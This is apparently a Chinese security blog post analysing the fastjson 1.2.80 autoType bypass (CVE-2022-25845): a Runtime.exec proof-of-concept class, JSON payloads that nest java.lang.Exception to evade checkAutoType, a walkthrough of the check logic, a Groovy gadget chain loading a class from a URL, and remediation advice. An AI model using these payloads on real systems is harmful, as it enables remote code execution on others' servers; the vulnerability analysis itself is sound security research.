测试环境:
jdk1.8 + fastjson 1.2.80 + win10
实验POC:
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
public class PocDemo {
public static void main(String[] args) {
String strClassName = "com.example.fastjson.Poc";
// ParserConfig.getGlobalInstance().setSafeMode(true); //通过代码方式打开safeMode, safeMode禁止任何autoType类型反序列化
/*===================================
* 原 POC, 默认情况可以绕过autoType检查
*==================================*/
String json0 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}"; //外层是java.lang.Exception
JSON.parse(json0);
// 探索可以直接反序列化某个类的方式
// 方式1 添加白名单
// ParserConfig.getGlobalInstance().addAccept(strClassName); //添加到白名单后可以直接进行反序列化该类,不需内嵌到 java.lang.Exception
// 方式2 手动加载类并添加到映射
Class> class_poc = TypeUtils.loadClass(strClassName); //手动加载类,但是没有添加到mapping中,无法利用
TypeUtils.addMapping(strClassName, class_poc); //加载该类后,需要添加到类的映射中才能通过检查
String json = "{\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}"; //直接放到第一层需要添加白名单或者手动加载类并加入映射中
JSON.parse(json);
}
}
实验结果:
该漏洞POC演示了利用java.lang.Exception 绕过autoTypeSupport实现反序列化命令执行。
调试发现java.lang.Exception 类不在黑白名单中,也不在内部的黑白名单中,并且该类默认已被加载,在映射中可以找到;
利用条件:
1. 当反序列化数据中外层的类为java.lang.Exception时,能绕过checkAutoType检查,会对其余的数据继续执行反序列化。
2. 执行内层反序列化的checkAutoType检查时,指定的期望类型是Throwable.class,因为指定了期望类,在检查的后期会信任并加载内层数据中的类并执行反序列化。因此利用成功的关键是内层的json类必须继承了接口Throwable,而且存在命令执行的接口。
必须满足这两个条件。
这也就是为什么POC中内层的类是自定义的,因为目前在公共的类中还没有找到满足上述要求的类。
从利用条件来看,漏洞的利用难度较大,暂时没有发现好用的标的类。
漏洞分析:
第一次检查:
类型为java.lang.Exception
expectClass为空,这是因为外层的接口并没有指定期望类
该类既不属于内部白名单,也不满足autoType开启条件,也没有指定期望的类型,跳过。
通过checkAutoType检查后,执行反序列化:
反序列化器的类型是ThrowableDeserializer, 目标类是java.lang.Exception.
第一关挺好过的,哈哈..
接下来执行ThrowableDeserializer类的反序列化
看得出来,不同类的反序列化动作是在分开的类中实现的。
接下来又执行一遍checkAutoType,只不过这次的第二个参数不为空了,变成了Throwable.class
这个参数在检查逻辑里面挺关键的,大概的意思是执行者期望反序列化成某类,而不是任意类,安全性相对高一些。
前面的检查是一样的,但这里开始有点不同:
因为expectClassFlag的值为真,因此进入了下面的代码块。
这里动作是黑白名单检查,从代码中可以看出,白名单的优先级更高,如果在白名单里则直接返回了。
自己定义的类当然不在黑白名单中,于是进入下一步:
跟上一回一样,尝试了好几种方式(这些被认为是可信的)找该类,没有找到,进入下一步。
autoTypeSupport没有开启,开始第二次比对黑白名单,但这一次黑名单的优先级更高。如果在黑名单中,则直接抛出异常。若在白名单中,则加载该类并返回。
继续下一步:
这里的逻辑没有看懂... 理解的师傅请指导一下小菜~
因为expectClassFlag为真,因此可以加载类。
将该类添加到缓存中并返回。因为是用户期望的类,默认就信任了。
从上面加载类的逻辑来看,还有两种情况:1)autoTypeSupport开启,2)jsonType为真则会加载类,这两种情况下是信任的。
checkAutoType的核心逻辑:
1. 是否开启safeMode,如果开启,则直接拒绝autoType,拥有最高优先级;
2. 是否指定了反序列化期望类型 => expectClassFlag;
3. 计算类名hash,并比对内部白名单 => internalWhite;
4. 内部黑名单是否为空,不为空则比对内部黑名单,在内部黑名单中则抛出异常;
5. 如果不在内部白名单中,但是autoTypeSupport开启或者指定了期望的类型:
a. 是否在白名单中,在则加载类并返回;
b. 如果当前hash在黑名单中但整个类名的hash在白名单中,则继续;
c. 如果在黑名单中且不在白名单中,则抛出异常。
6. 黑白名单如果不能鉴定该类则开始在当前环境中查找该类:
a. 从映射中查找;
b. 从支持的反序列化器中查找;
c. 从类型映射中查找;
d. 如果是内部白名单,则加载该类。
7. 若找到了返回该类;
8. 没有找到,说明该类不在黑白名单中,也不在执行环境中,属于未知的类型。若autoTypeSupport没有开启,则再校验一次黑白名单,如果在黑名单内则抛出异常,如果在白名单内则加载该类并返回。
9. 若还是没有鉴定出来,则计算一个jsonType;
10. autoTypeSupport开关、jsonType、expectClassFlag三种有一个为真,则加载类。
从上面的检查逻辑来看,各种黑白名单、条件、变动参数杂糅在一起,因此容易出现bug.
漏洞利用:
这里探测版本和依赖包就略过了,只贴代码执行
要找到一条起始于java.lang.Exception的gadgets, 参考浅蓝KCon的思路,利用Groovy执行代码
第一步:利用java.lang.Exception将org.codehaus.groovy.control.CompilationFailedException添加到缓存,在构造CompilationFailedException对象的时候,指定了成员unit的值,unit的类型是org.codehaus.groovy.control.ProcessingUnit,该类也会被加入缓存中。
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
第二步:利用org.codehaus.groovy.control.ProcessingUnit的子类org.codehaus.groovy.tools.javac.JavaStubCompilationUnit的成员config(类型是org.codehaus.groovy.control.CompilerConfiguration),构造其成员classPathList,指定类的加载路径。从而会从路径的相对路径/META-INF/services/下载文件org.codehaus.groovy.transform.ASTTransformation,从文件里读取内容(测试中使用的是Blue),并当作类名加载执行。
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/"
}
}
注意一下Blue class的定义(这里我卡了很久,看PPT要仔细):
总结一下利用的思路:
利用java.lang.Exception将继承于Throwable的期望内添加到缓存,然后一级一级往下查找、缓存,找到可以用来执行代码路径的类,构造Gadgets。整个利用过程非常巧妙。
漏洞修复:
1. 升级到1.2.80以上版本;
2. 不需要进行反序列化则直接开启safeMode;
3. 将相关的利用的类加入黑名单。
参考:
KCon/Hacking JSON【KCon2022】.pdf at master · knownsec/KCon · GitHub
Fastjson 代码执行 CVE-2022-25845 - FreeBuf网络安全行业门户